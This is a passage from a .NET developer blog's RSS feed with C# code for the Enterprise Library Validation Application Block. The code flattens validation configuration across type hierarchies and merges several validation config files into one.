Validate(<br />    IEnumerable&lt;object&gt; entities)<br />{<br />    return<br />        from entity in entities<br />        from type in GetTypeHierarchyOf(entity.GetType())<br />        let validator = CreateValidator(type)<br />        let results = validator.Validate(entity)<br />        where !results.IsValid<br />        from result in results<br />        select result;<br />}<br />    <br />// Return the type and all its base types<br />private static IEnumerable&lt;Type&gt; GetTypeHierarchyOf(Type type)<br />{<br />    while (type != null)<br />    {<br />        yield return type;<br />        type = type.BaseType;<br />    }<br />}</pre><p>While this seems easy and great, there are a couple of problems with this code. First of all this code generates duplicate error messages with attribute based validation. Reason for this is that inheritance is already supported by VAB for attribute based validation. Second, when validating graphs of objects using the <span class="code">[</span><span class="type">ObjectValidator</span><span class="code">]</span> and <span class="code">[</span><span class="type">ObjectCollectionValidator</span><span class="code">]</span>, validations of base types will not be checked. Reason for this is that the <span class="type">ObjectValidator</span> and <span class="type">ObjectCollectionValidator</span> simply request a validator for the current type, and not for the type and al its base types.</p><p>Although the given code might work in certain scenarios, the lack of object graph validation is a pretty big drawback. Let&rsquo;s take a totally different approach here.</p><p>When you read my previous article about <a rel="external" href="http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=72" title=".NET Junkie - Splitting up Validation Application Block configuration into multiple files">merging multiple configuration files into a single VAB configuration</a>, you know a lot can be done by rebuilding <span class="type">ValidationSettings</span> objects. Using this exact approach we can create a solution to this inheritance problem. Note however, that this takes an awful lot more code than what was needed with the previous code snippet. Nice thing though is that I can reuse a lot of my code from my previous article.</p><p><em><strong>Please note that when you want to use the code in this article, you will also need the code of <a rel="external" href="http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=72" title=".NET Junkie - Splitting up Validation Application Block  configuration into multiple files">my previous article</a>, because I won&rsquo;t repeat it here.</strong></em><br /><br />Please also note that while the solution below works pretty well, the solution itself has some shortcomings. Please note the following:</p><ul><li>While the solution even allows validations defined on interfaces to work on implementations of that interface, validation might fail when members are implemented explicitly.</li><li>The solution iterates all types in all referenced assemblies of the current AppDomain, to find out whether a type derives from a certain base type. This means that the solution will not work for types that are generated during runtime and types in assemblies that are loaded dynamically.</li><li>The solution creates a new <span class="type">ValidationSettings</span> configuration where it adds all derived types of a base type in the configuration. When many such types exist, the generation process could become time consuming and could take a lot of memory. For instance, don&rsquo;t add the .NET interfaces <span class="type">IComparable</span>, <span class="type">IConvertible</span>, <span class="type">IFormattable</span>, <span class="type">ISerializable</span>, and <span class="type">IDisposable</span> to the configuration :-)</li></ul>These short comes can probably only be solved when the Enterprise Library get native support for configuration inheritance. So until that moment has come, the code below can save your day.<br /><p>Below is the implementation of the <span class="type">InheritanceValidationConfigurationSource</span>. It is in fact a decorator that wraps a supplied <span class="type">IConfigurationSource</span>. Within the constructor the construction of the new &lsquo;flattened&rsquo; configuration is delegated to the <span class="type">ValidationSettingsTypeHierarchyFlattener</span> class. The returned <span class="type">ValidationSettings</span> object is cached and returned on each call to <span class="code">GetSection</span>.</p><pre class="cs" language="csharp" customtypes="InheritanceValidationConfigurationSource IConfigurationSource ValidationSettings ValidationSettingsTypeHierarchyFlattener " customvaluetypes="PutYourCustomValueTypesHere">public class InheritanceValidationConfigurationSource<br />    : IConfigurationSource<br />{<br />    private readonly ValidationSettings flattenedValidationSettings;<br /><br />    public InheritanceValidationConfigurationSource(<br />        IConfigurationSource source)<br />    {<br />        var settings = source.GetSection(ValidationSettings.SectionName)<br />            as ValidationSettings;<br /><br />        this.flattenedValidationSettings =<br />            ValidationSettingsTypeHierarchyFlattener.Flatten(settings);<br />    }<br /><br />    public ConfigurationSection GetSection(string sectionName)<br />    {<br />        if (sectionName == ValidationSettings.SectionName)<br />        {<br />            return this.flattenedValidationSettings;<br />        }<br /><br />        return null;<br />    }<br /><br />    #region IConfigurationSource Members<br /><br />    // Rest of the IConfigurationSource members left out.<br />    // Just implement them by throwing an exception from<br />    // their bodies; they are not used.<br /><br />    #endregion<br />}</pre><p>Below is the code of the <span class="type">ValidationSettingsTypeHierarchyFlattener</span> class. Its logic is rather straightforward. It starts by making a copy of the supplied <span class="type">ValidationSettings</span>. By making a copy, the original settings stay unmodified. Next, it finds all (non-interface) types in the configuration that have no base types in the configuration: the root types. For each root type the inheritance tree is walked (breadth-first) and for each type in that tree the configuration of its base type is copied to / merged with that type. The type is added to the configuration when it doesn&rsquo;t exist. The last step in the flattener&rsquo;s logic is finding all interface types in the configuration. For each interface type, all implementations (in the current AppDomain) are iterated and the configuration of that interface is copied to / merged with that type. Here is the code:</p><pre class="cs" language="csharp" customtypes="ValidationSettingsTypeHierarchyFlattener ValidationSettings Copier TypeFinder DistanceToBaseTypeComparer ValidatedTypeReference TypeMerger ConfigurationErrorsException CultureInfo" customvaluetypes="PutYourCustomValueTypesHere">internal class ValidationSettingsTypeHierarchyFlattener<br />{<br />    private readonly ValidationSettings settings;<br /><br />    private ValidationSettingsTypeHierarchyFlattener(<br />        ValidationSettings settings)<br />    {<br />        this.settings = Copier.MakeCopy(settings);<br />    }<br /><br />    public static ValidationSettings Flatten(ValidationSettings settings)<br />    {<br />        var flattener =<br />            new ValidationSettingsTypeHierarchyFlattener(settings);<br /><br />        flattener.DuplicateConfigurationForDerivedTypes();<br /><br />        flattener.DuplicateInterfaceConfigurationToImplementations();<br /><br />        return flattener.settings;<br />    }<br /><br />    private void DuplicateConfigurationForDerivedTypes()<br />    {<br />        var rootClasses = this.FindRootClassesInConfiguration();<br /><br />        foreach (Type rootClass in rootClasses)<br />        {<br />            this.DuplicateConfigurationToDerivedTypesOf(rootClass);<br />        }<br />    }<br /><br />    private void DuplicateConfigurationToDerivedTypesOf(Type root)<br />    {<br />        var unorderedDescendants =<br />            TypeFinder.GetDerivedClassesFor(root);<br /><br />        var sorter = new DistanceToBaseTypeComparer(root);<br /><br />        var descendants = unorderedDescendants.OrderBy(t =&gt; t, sorter);<br /><br />        foreach (Type descendant in descendants)<br />        {<br />            this.DuplicateConfigurationTo(descendant);<br />        }<br />    }<br /><br />    private void DuplicateConfigurationTo(Type descendant)<br />    {<br />        ValidatedTypeReference baseReference =<br />            this.settings.Types.Get(descendant.BaseType.FullName);<br /><br />        ValidatedTypeReference descendantReference =<br />            this.settings.Types.Get(descendant.FullName);<br /><br />        bool descendantAlreadyExistsInConfiguration =<br />            descendantReference != null;<br /><br />        if (descendantAlreadyExistsInConfiguration)<br />        {<br />            new TypeMerger(this.settings, baseReference)<br />                .MergeInto(descendantReference);<br />        }<br />        else<br />        {<br />            var copy =<br />                MakeCopyOfReferenceForType(baseReference, descendant);<br /><br />            this.settings.Types.Add(copy);<br />        }<br />    }<br /><br />    private void DuplicateInterfaceConfigurationToImplementations()<br />    {<br />        var interfaces = this.FindInterfacesInConfiguration();<br /><br />        foreach (Type intrface in interfaces)<br />        {<br />            this.DuplicateConfigurationForImplementationsOf(intrface);<br />        }<br />    }<br /><br />    private void DuplicateConfigurationForImplementationsOf(Type intrface)<br />    {<br />        var implementations =<br />            TypeFinder.GetImplementationsOfInterface(intrface);<br /><br />        foreach (Type implementation in implementations)<br />        {<br />            this.DuplicateConfigurationForImplementation(intrface,<br />                implementation);<br />        }<br />    }<br /><br />    private void DuplicateConfigurationForImplementation(Type intrface,<br />        Type implementation)<br />    {<br />        ValidatedTypeReference interfaceReference =<br />            this.settings.Types.Get(intrface.FullName);<br /><br />        ValidatedTypeReference implementationReference =<br />            this.settings.Types.Get(implementation.FullName);<br /><br />        bool implementationAlreadyExistsInConfiguration =<br />            implementationReference != null;<br /><br />        if (implementationAlreadyExistsInConfiguration)<br />        {<br />            new TypeMerger(this.settings, interfaceReference)<br />                .MergeInto(implementationReference);<br />        }<br />        else<br />        {<br />            var copy = MakeCopyOfReferenceForType(interfaceReference,<br />                implementation);<br /><br />            this.settings.Types.Add(copy);<br />        }<br />    }<br /><br />    private Type[] FindRootClassesInConfiguration()<br />    {<br />        var configuredTypes = new HashSet&lt;Type&gt;(this.GetConfiguredTypes());<br /><br />        return<br />            (from configuredType in configuredTypes<br />             where !configuredType.IsInterface<br />             where IsRootType(configuredType, configuredTypes)<br />             select configuredType).ToArray();<br />    }<br /><br />    private Type[] FindInterfacesInConfiguration()<br />    {<br />        var configuredTypes = new HashSet&lt;Type&gt;(this.GetConfiguredTypes());<br /><br />        return<br />            (from configuredType in configuredTypes<br />             where configuredType.IsInterface<br />             select configuredType).ToArray();<br />    }<br /><br />    private static bool IsRootType(Type type, HashSet&lt;Type&gt; configuredTypes)<br />    {<br />        var baseTypesForTypeInConfiguration =<br />            from baseType in GetBaseTypesFor(type)<br />            where configuredTypes.Contains(baseType)<br />            select baseType;<br /><br />        return !baseTypesForTypeInConfiguration.Any();<br />    }<br /><br />    private static IEnumerable&lt;Type&gt; GetBaseTypesFor(Type type)<br />    {<br />        Type baseType = type.BaseType;<br /><br />        while (baseType != null)<br />        {<br />            yield return baseType;<br />            baseType = baseType.BaseType;<br />        }<br />    }<br /><br />    private IEnumerable&lt;Type&gt; GetConfiguredTypes()<br />    {<br />        return<br />            from reference in this.settings.Types<br />            select GetTypeFromReference(reference);<br />    }<br /><br />    private static ValidatedTypeReference MakeCopyOfReferenceForType(<br />        ValidatedTypeReference reference, Type targetType)<br />    {<br />        var copy = Copier.MakeCopy(reference);<br /><br />        copy.Name = targetType.FullName;<br />        copy.AssemblyName = targetType.Assembly.FullName;<br /><br />        return copy;<br />    }<br /><br />    private static Type GetTypeFromReference(<br />        ValidatedTypeReference reference)<br />    {<br />        // VAB doesn't need AssemblyName in order to validate a type.<br />        if (!String.IsNullOrEmpty(reference.AssemblyName))<br />        {<br />            // Fast O(1) lookup with assembly name.<br />            return GetTypeFromReferenceByFullyQualifiedName(reference);<br />        }<br />        else<br />        {<br />            // Slow lookup, but needed when AssemblyName is missing.<br />            return GetTypeFromReferenceByName(reference);<br />        }<br />    }<br /><br />    private static Type GetTypeFromReferenceByFullyQualifiedName(<br />        ValidatedTypeReference reference)<br />    {<br />        var fqn = reference.Name + &quot;, &quot; + reference.AssemblyName;<br /><br />        try<br />        {<br />            const bool ThrowOnError = true;<br />            return Type.GetType(fqn, ThrowOnError);<br />        }<br />        catch (Exception ex)<br />        {<br />            throw new ConfigurationErrorsException(<br />                string.Format(CultureInfo.InvariantCulture,<br />                &quot;The configuration file references a type '{0}' &quot; +<br />                &quot;that could not be found in the AppDomain. {1}&quot;,<br />                fqn, ex.Message), ex);<br />        }<br />    }<br /><br />    private static Type GetTypeFromReferenceByName(<br />        ValidatedTypeReference reference)<br />    {<br />        var typesWithName =<br />            TypeFinder.GetAllTypesInCurrentAppDomain()<br />                .Where(t =&gt; t.FullName == reference.Name)<br />                .ToArray();<br /><br />        if (typesWithName.Length == 1)<br />        {<br />            return typesWithName[0];<br />        }<br /><br />        if (typesWithName.Length &gt; 1)<br />        {<br />            throw new ConfigurationErrorsException(<br />                string.Format(CultureInfo.InvariantCulture,<br />                &quot;The configuration file references a type '{0}' &quot; +<br />                &quot;that is found multiple times in the current App&quot; +<br />                &quot;Domain. Try specifying the AssemblyName as well.&quot;,<br />                reference.Name));<br />        }<br />        else<br />        {<br />            throw new ConfigurationErrorsException(<br />                string.Format(CultureInfo.InvariantCulture,<br />                &quot;The configuration file references a type '{0}' &quot; +<br />                &quot;that could not be found in the AppDomain.&quot;,<br />                reference.Name));<br />        }<br />    }<br />}</pre><p>The flattener class references the small <span class="type">TypeFinder</span> helper class. This class contains a few utility methods that search for types. For instance it enables loading all derived types of a particular type or finding all implementations of a particular interface. Below is the code for the <span class="type">TypeFinder</span> class:</p><pre class="cs" language="csharp" customtypes="TypeFinder ReflectionTypeLoadException DebuggerStepThrough" customvaluetypes="PutYourCustomValueTypesHere">internal static class TypeFinder<br />{<br />    public static IEnumerable&lt;Type&gt; GetAllTypesInCurrentAppDomain()<br />    {<br />        return<br />            from assembly in AppDomain.CurrentDomain.GetAssemblies()<br />            from type in GetAllTypesFor(assembly)<br />            select type;<br />    }<br /><br />    public static IEnumerable&lt;Type&gt; GetDerivedClassesFor(Type baseType)<br />    {<br />        return<br />            from type in GetAllTypesInCurrentAppDomain()<br />            where type.IsClass<br />            where type.IsSubclassOf(baseType)<br />            select type;<br />    }<br /><br />    public static IEnumerable&lt;Type&gt; GetImplementationsOfInterface(<br />        Type interfaceType)<br />    {<br />        return<br />            from type in GetAllTypesInCurrentAppDomain()<br />            where !type.IsInterface<br />            where interfaceType.IsAssignableFrom(type)<br />            select type;<br />    }<br /><br />    [DebuggerStepThrough]<br />    public static Type[] GetAllTypesFor(Assembly assembly)<br />    {<br />        try<br />        {<br />            return assembly.GetTypes();<br />        }<br />        catch (ReflectionTypeLoadException)<br />        {<br />            // GetTypes could throw an ReflectionTypeLoadException.<br />            // In that case we just skip the assembly.<br />            return Type.EmptyTypes;<br />        }<br />    }<br />}</pre><p>As I described earlier, the <span class="type">ValidationSettingsTypeHierarchyFlattener</span> walks the inheritance tree of a particular type in breadth-first order. While depth-first would also work, processing the collection of types in the hierarchy must have a certain order. By making sure a certain type is always processed after its base type, it allows us to copy the complete configuration from the type&rsquo;s base type. Copying configuration becomes a waterfall where all configuration flows down the hierarchy. Not doing it this way, would make it very hard to yield correct results.</p><p>Because the <span class="type">TypeFinder</span> class does not return the list of base types in a guaranteed order, the flattener class orders the list. It uses the <span class="type">DistanceToBaseTypeComparer</span> class for this. This comparer compares two types based on their distance to the supplied base type. Here is the implementation:</p><pre class="cs" language="csharp" customtypes="DistanceToBaseTypeComparer InvalidProgramException CultureInfo" customvaluetypes="PutYourCustomValueTypesHere">internal sealed class DistanceToBaseTypeComparer : IComparer&lt;Type&gt;<br />{<br />    private readonly Type root;<br /><br />    public DistanceToBaseTypeComparer(Type root)<br />    {<br />        this.root = root;<br />    }<br /><br />    public int Compare(Type x, Type y)<br />    {<br />        int distanceOfX = this.CalculateDistanceToRoot(x);<br />        int distanceOfY = this.CalculateDistanceToRoot(y);<br /><br />        return distanceOfX.CompareTo(distanceOfY);<br />    }<br /><br />    private int CalculateDistanceToRoot(Type derivedType)<br />    {<br />        if (this.root.IsInterface)<br />        {<br />            return this.CalculateDistanceToInterface(derivedType);<br />        }<br />        else<br />        {<br />            return this.CalculateDistanceToBaseType(derivedType);<br />        }<br />    }<br /><br />    private int CalculateDistanceToInterface(Type derivedType)<br />    {<br />        int distance = 1;<br /><br />        this.CheckIfTypeIsImplementationOfRoot(derivedType);<br /><br />        var baseType = derivedType.BaseType;<br /><br />        while (baseType != null &amp;&amp; this.root.IsAssignableFrom(baseType))<br />        {<br />            distance++;<br /><br />            baseType = baseType.BaseType;<br />        }<br /><br />        return distance;<br />    }<br /><br />    private int CalculateDistanceToBaseType(Type derivedType)<br />    {<br />        int distance = 0;<br /><br />        while (derivedType != this.root)<br />        {<br />            derivedType = derivedType.BaseType;<br />            distance++;<br />        }<br /><br />        return distance;<br />    }<br /><br />    private void CheckIfTypeIsImplementationOfRoot(Type derivedType)<br />    {<br />        if (!this.root.IsAssignableFrom(derivedType))<br />        {<br />            throw new InvalidProgramException(<br />                string.Format(CultureInfo.InvariantCulture,<br />                &quot;An internal error occurred. Type {0} is not an &quot; +<br />                &quot;implementation of interface {1}.&quot;,<br />                derivedType, this.root));<br />        }<br />    }<br />}</pre><p>The last two classes missing from the equation are the <span class="type">Copier</span> and <span class="type">TypeMerger</span> classes. You can find them in <a rel="external" href="http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=72" title=".NET Junkie - Splitting up Validation Application Block configuration into multiple files">my previous article</a>.</p><p>Happy validating!</p> ]]></description>
			<guid isPermaLink="false">73@http://cuttingedge.it/blogs/steven/pivot/</guid>
			<category>.NET General, C#, Enterprise Library, Validation Application Block</category>
			<pubDate>Mon, 22 Mar 2010 21:30:00 +0200</pubDate>
		</item>
		
		
		
		<item>
			<title>Splitting up Validation Application Block configuration into multiple files</title>
			<link>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=72</link>
			<comments>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=72#comm</comments>
                        <description><![CDATA[ This article describes how to build an IConfigurationSource implementation that allows reading multiple configuration files that each contain part of the total Enterprise Library Validation Application Block configuration.<p>Five months ago I <a rel="external" href="http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=65" title=".NET Junkie - Putting the Validation Application Block configuration in its own file">wrote</a> about extracting the <a rel="external" href="http://msdn.microsoft.com/en-us/library/dd140088.aspx" title="Enterprise Library 4.1 - October 2008 The Validation Application Block">Enterprise Library Validation Application Block</a> (VAB for short) configuration to its own file. This is useful in situations where the configuration file gets big or, as I explained in the article, when you want to have unit tests supporting those validations. While you can use the same technique to put the different Enterprise Library blocks in their own configuration file, I want to take this one step further and allow the single VAB configuration to be split up into multiple configuration files. While I haven't tested this, I expect this technique to also work with the other application blocks.</p><p>Separating your VAB configuration into multiple files is useful in scenario&rsquo;s where the configuration gets very big or when dealing with <a rel="external" href="http://en.wikipedia.org/wiki/Software_as_a_service" title="Wikipedia - Software as a Service">Software as a Service</a> applications. With SaaS you&rsquo;d usually have multiple customers using the same web service or web application or perhaps even have multiple physical deployments (one per customer) for the same application / code base. Splitting up the configuration is useful when you have different validation requirements among your customers. The idea is to have one base configuration that contains the validations that hold for all customers and multiple specific configurations; one per customer.</p><p>It shouldn&rsquo;t come as an surprise that this scenario isn&rsquo;t supported out of the box. Despite the fact that the solution will not be a one-liner, it&rsquo;s great that the extensibility of VAB allows us to actually do this. The trick is to create an implementation of the <a rel="external" href="http://msdn.microsoft.com/en-us/library/microsoft.practices.enterpriselibrary.common.configuration.iconfigurationsource%28BTS.10%29.aspx" title="MSDN - IConfigurationSource interface">IConfigurationSource</a> interface that allows loading multiple configuration files and can merge them to one <span class="type">ValidationSettings</span> element which the VAB infrastructure is able to process.</p><p>In the code snippet below you can see the usage of the class I called <span class="type">ValidationConfigurationSourceCombiner</span>. It implements <span class="type">IConfigurationSource</span> and therefore allows it to be supplied as input to the validation process. It allows multiple <span class="type">IConfigurationSource</span> instances to be supplied through its constructor. During its creation it will combine the supplied configurations together to one big configuration, by iterating and comparing all elements and sub elements of these configurations.</p><pre class="cs" language="csharp" customtypes="IConfigurationSource ValidationConfigurationSourceCombiner FileConfigurationSource" customvaluetypes="PutYourCustomValueTypesHere">IConfigurationSource configurationSource =<br />    new ValidationConfigurationSourceCombiner(<br />        new FileConfigurationSource(&quot;validation_base.config&quot;),<br />        new FileConfigurationSource(&quot;validation_cust_13.config&quot;),<br />        new FileConfigurationSource(&quot;validation_cust_56.config&quot;)<br />    );</pre><p>Although the example uses a static list of configuration files, you can also load them dynamically for instance by searching the filesystem for all <em>validation_*.config</em> files, as shown here:</p><pre class="cs" language="csharp" customtypes="AppDomain IConfigurationSource ValidationConfigurationSourceCombiner FileConfigurationSource Directory" customvaluetypes="PutYourCustomValueTypesHere">var appDir = AppDomain.CurrentDomain.BaseDirectory;<br />var pattern = &quot;validation_*.config&quot;;<br /><br />IConfigurationSource configurationSource =<br />    new ValidationConfigurationSourceCombiner(<br />        from fileName in Directory.GetFiles(appDir, pattern)<br />        select new FileConfigurationSource(fileName) <br />            as IConfigurationSource<br />    ); <br /></pre><p>When you create a single combiner that holds all validations for all customers, you will have to differentiate by using customer specific rulesets and inform the validator that only the <em>default</em> and <em>cusomerX</em> rulesets have to be validated. Specifying customer specific rulesets however, can be error prone. Your other option would be to create a combiner per customer. You can store them in a dictionary with the customer id as key and supply the customer&rsquo;s specific combiner to the VAB validator.</p><p>Because the class takes <span class="type">IConfigurationSource</span> instances and implements <span class="type">IConfigurationSource</span> itself, it can by itself be used again as input to yet another combiner. This allows you to do infinitely stacking of instances :-).</p><p>Below the code for the <span class="type">ValidationConfigurationSourceCombiner</span>.</p><pre class="cs" language="csharp" customtypes="ValidationConfigurationSourceCombiner IConfigurationSource ValidationSettings ConfigurationSection TypeMerger Copier ValidationSettingsMerger" customvaluetypes="PutYourCustomValueTypesHere">public class ValidationConfigurationSourceCombiner<br />    : IConfigurationSource<br />{<br />    private readonly ValidationSettings combinedSettings;<br /><br />    public ValidationConfigurationSourceCombiner(<br />        params IConfigurationSource[] sources)<br />        : this((IEnumerable&lt;IConfigurationSource&gt;)sources)<br />    {<br />    }<br /><br />    public ValidationConfigurationSourceCombiner(<br />        IEnumerable&lt;IConfigurationSource&gt; sources)<br />    {<br />        string sectionName = ValidationSettings.SectionName;<br /><br />        var settings =<br />            from source in sources<br />            select source.GetSection(sectionName)<br />                as ValidationSettings;<br /><br />        this.combinedSettings =<br />            settings.Aggregate(CombineSettings);<br />    }<br /><br />    public ConfigurationSection GetSection(string sectionName)<br />    {<br />        if (sectionName == ValidationSettings.SectionName)<br />        {<br />            return this.combinedSettings;<br />        }<br /><br />        return null;<br />    }<br /><br />    #region IConfigurationSource Members<br /><br />    // Rest of the IConfigurationSource members left out.<br />    // Just implement them by throwing an exception from<br />    // their bodies; they are not used.<br /><br />    #endregion<br /><br />    private static ValidationSettings CombineSettings(<br />        ValidationSettings left, ValidationSettings right)<br />    {<br />        var valCopy = Copier.MakeCopy(left);<br /><br />        new ValidationSettingsMerger(right).MergeInto(valCopy);<br /><br />        return valCopy;<br />    }<br />}<br /></pre><p>As you can see this class doesn&rsquo;t really do much. The constructor processes the supplied <span class="type">IConfigurationSource</span> instances, by aggregating them down to a single <span class="type">ValidationSettings</span> object and the <span class="code">GetSection</span> method returns that instance. The <span class="type">Enumerable</span><span class="code">.Aggregate</span> method uses the <span class="code">CombineSettings</span> method, which takes two <span class="type">ValidationSettings</span> instances and produces a new <span class="type">ValidationSettings</span> that contains settings from both the instances. This is done by making a (deep) copy of the left and adding all settings from the right to that copy.</p><p>This adding (or merging as I call it in the code) is done by the <span class="type">ValidationSettingsMerger</span> class, which simply iterates over all the items in the settings object. For each item it checks if the target object already contains the item. If the target item is missing, a deep copy of the source item is made and that copy is added to the target&rsquo;s item collection. When the item already exists, the source item is merged with the target item. This merging is done by executing the operation described in this paragraphs for the item&rsquo;s sub items.</p><p>To complete this story, here is the rest of the implementation.</p><p>As always: happy validating!</p><pre class="cs" language="csharp" customtypes="IMerger ValidationMerger NamedConfigurationElement ValidationSettings ValidatedTypeReference Copier ConfigurationErrorsException RulesetMerger ValidationRulesetData NamedElementCollection ValidatedMemberReference ValidatorDataCollection ValidatorMerger ValidatorData ValidatorDataCollection MemberMerger CultureInfo ValidationSettingsMerger SuppressMessage TypeMerger" customvaluetypes="PutYourCustomValueTypesHere">internal interface IMerger<br />{<br />    string TypeName { get; }<br /><br />    string Name { get; }<br />    <br />    IMerger Parent { get; }<br />}<br /><br />internal class ValidationSettingsMerger<br />{<br />    private readonly ValidationSettings source;<br /><br />    public ValidationSettingsMerger(ValidationSettings source)<br />    {<br />        this.source = source;<br />    }<br /><br />    public void MergeInto(ValidationSettings target)<br />    {<br />        foreach (var sourceType in this.source.Types)<br />        {<br />            var targetType = target.Types.Get(sourceType.Name);<br /><br />            bool typeAlreadyInTarget = targetType != null;<br /><br />            if (typeAlreadyInTarget)<br />            {<br />                var merger = new TypeMerger(this.source, sourceType);<br />                merger.MergeInto(targetType);<br />            }<br />            else<br />            {<br />                target.Types.Add(Copier.MakeCopy(sourceType));<br />            }<br />        }<br />    }<br />}<br /><br />internal abstract class ValidationMerger&lt;T&gt; : IMerger<br />    where T : NamedConfigurationElement<br />{<br />    protected ValidationMerger(ValidationSettings settings,<br />        T sourceElement, IMerger parent)<br />    {<br />        this.SourceSettings = settings;<br />        this.Source = sourceElement;<br />        this.Parent = parent;<br />    }<br /><br />    public abstract string TypeName { get; }<br /><br />    public IMerger Parent { get; private set; }<br /><br />    public string Name { get { return this.Source.Name; } }<br /><br />    protected T Source { get; private set; }<br /><br />    protected ValidationSettings SourceSettings<br />    {<br />        get;<br />        private set;<br />    }<br />}<br /><br />internal class TypeMerger<br />    : ValidationMerger&lt;ValidatedTypeReference&gt;<br />{<br />    public TypeMerger(ValidationSettings sourceSettings,<br />        ValidatedTypeReference sourceType)<br />        : base(sourceSettings, sourceType, null)<br />    {<br />    }<br /><br />    public override string TypeName { get { return &quot;type&quot;; } }<br /><br />    public void MergeInto(ValidatedTypeReference target)<br />    {<br />        this.SetDefaultRuleset(target);<br /><br />        foreach (var sourceRules in this.Source.Rulesets)<br />        {<br />            var targetRules =<br />                target.Rulesets.Get(sourceRules.Name);<br /><br />            if (targetRules != null)<br />            {<br />                this.CreateRulesetMerger(sourceRules)<br />                    .MergeInto(targetRules);<br />            }<br />            else<br />            {<br />                targetRules = Copier.MakeCopy(sourceRules);<br />                target.Rulesets.Add(targetRules);<br />            }<br />        }<br />    }<br /><br />    private void SetDefaultRuleset(ValidatedTypeReference target)<br />    {<br />        var sourceRuleset = this.Source.DefaultRuleset;<br />        var targetRuleset = target.DefaultRuleset;<br /><br />        if (String.IsNullOrEmpty(targetRuleset))<br />        {<br />            target.DefaultRuleset = sourceRuleset;<br />        }<br />        else if (String.IsNullOrEmpty(sourceRuleset))<br />        {<br />            // Don't override the target ruleset.<br />        }<br />        else if (sourceRuleset != targetRuleset)<br />        {<br />            this.ThrowDefaultRulesetsDifferException(target);<br />        }<br />    }<br /><br />    private void ThrowDefaultRulesetsDifferException(<br />        ValidatedTypeReference target)<br />    {<br />        // Note: because the merging we loose the Element-<br />        // Information of the target, so we can not use it<br />        // the exception message.<br />        throw new ConfigurationErrorsException(<br />            string.Format(CultureInfo.InvariantCulture,<br />            &quot;The configuration file {0} contains a type &quot; +<br />            &quot;'{1}' that has a DefaultRuleset that differs &quot; +<br />            &quot;from the DefaultRuleset in the type of the &quot; +<br />            &quot;other configuration files. DefaultRuleset &quot; +<br />            &quot;'{2}' was expected but '{3}' was found.&quot;,<br />            this.Source.ElementInformation.Source,<br />            target.Name, this.Source.DefaultRuleset, <br />            target.DefaultRuleset));<br />    }<br /><br />    private RulesetMerger CreateRulesetMerger(<br />        ValidationRulesetData sourceRuleset)<br />    {<br />        return new RulesetMerger(this.SourceSettings,<br />            sourceRuleset, this);<br />    }<br />}<br /><br />internal class RulesetMerger<br />    : ValidationMerger&lt;ValidationRulesetData&gt;<br />{<br />    public RulesetMerger(ValidationSettings settings,<br />        ValidationRulesetData sourceRuleset, IMerger parent)<br />        : base(settings, sourceRuleset, parent)<br />    {<br />    }<br /><br />    public override string TypeName { get { return &quot;ruleset&quot;; } }<br /><br />    public void MergeInto(ValidationRulesetData target)<br />    {<br />        var source = this.Source;<br /><br />        this.MergeCollection(source.Fields, target.Fields);<br />        this.MergeCollection(source.Methods, target.Methods);<br />        this.MergeCollection(source.Properties, target.Properties);<br />        this.MergeValidators(source.Validators, target.Validators);<br />    }<br /><br />    private void MergeCollection&lt;TMember&gt;(<br />        NamedElementCollection&lt;TMember&gt; sourceCollection,<br />       NamedElementCollection&lt;TMember&gt; targetCollection)<br />        where TMember : ValidatedMemberReference, new()<br />    {<br />        foreach (var sourceMember in sourceCollection)<br />        {<br />            var targetMember =<br />                targetCollection.Get(sourceMember.Name);<br /><br />            if (targetMember != null)<br />            {<br />                this.CreateMemberMerger(sourceMember)<br />                    .MergeInto(targetMember);<br />            }<br />            else<br />            {<br />                targetMember = Copier.MakeCopy(sourceMember);<br />                targetCollection.Add(targetMember);<br />            }<br />        }<br />    }<br /><br />    private void MergeValidators(<br />        ValidatorDataCollection sourceValidators,<br />        ValidatorDataCollection targetValidators)<br />    {<br />        var merger = this.CreateValidatorMerger();<br />        merger.MergeValidatorsInto(<br />            sourceValidators, targetValidators);<br />    }<br /><br />    private MemberMerger&lt;TMemberReference&gt;<br />        CreateMemberMerger&lt;TMemberReference&gt;(<br />        TMemberReference sourceElement)<br />        where TMemberReference : ValidatedMemberReference, new()<br />    {<br />        return new MemberMerger&lt;TMemberReference&gt;(<br />            this.SourceSettings, sourceElement, this);<br />    }<br /><br />    private ValidatorMerger CreateValidatorMerger()<br />    {<br />        return new ValidatorMerger(this.SourceSettings, this);<br />    }<br />}<br /><br />internal class MemberMerger&lt;TMember&gt;<br />    : ValidationMerger&lt;ValidatedMemberReference&gt;<br />    where TMember : ValidatedMemberReference, new()<br />{<br />    public MemberMerger(ValidationSettings sourceSettings,<br />        TMember sourceMember, IMerger parent)<br />        : base(sourceSettings, sourceMember, parent)<br />    {<br />    }<br /><br />    [SuppressMessage(&quot;Microsoft.Globalization&quot;, <br />        &quot;CA1308:NormalizeStringsToUppercase&quot;)]<br />    public override string TypeName<br />    {<br />        get<br />        {<br />            // Allow returning the actual type without<br />            // subclassing the MemberMerger&lt;TMember&gt;.<br />            return typeof(TMember).Name<br />                .Replace(&quot;Validated&quot;, string.Empty)<br />                .Replace(&quot;Reference&quot;, string.Empty)<br />                .ToLowerInvariant();<br />        }<br />    }<br /><br />    public void MergeInto(TMember target)<br />    {<br />        var merger = this.CreateValidatorMerger();<br /><br />        merger.MergeValidatorsInto(this.Source.Validators,<br />            target.Validators);<br />    }<br /><br />    private ValidatorMerger CreateValidatorMerger()<br />    {<br />        return new ValidatorMerger(this.SourceSettings, this);<br />    }<br />}<br /><br />internal class ValidatorMerger<br />{<br />    private readonly IMerger parent;<br />    private readonly ValidationSettings settings;<br /><br />    public ValidatorMerger(ValidationSettings settings, IMerger parent)<br />    {<br />        this.parent = parent;<br />        this.settings = settings;<br />    }<br /><br />    public void MergeValidatorsInto(<br />        ValidatorDataCollection sourceValidators,<br />        ValidatorDataCollection targetValidators)<br />    {<br />        foreach (var sourceValidator in sourceValidators)<br />        {<br />            var targetValidator =<br />                targetValidators.Get(sourceValidator.Name);<br /><br />            if (targetValidator != null)<br />            {<br />                this.CreateValidatorMerger().MergeInto(targetValidator);<br />            }<br />            else<br />            {<br />                targetValidator = Copier.MakeCopy(sourceValidator);<br />                targetValidators.Add(targetValidator);<br />            }<br />        }<br />    }<br /><br />    public void 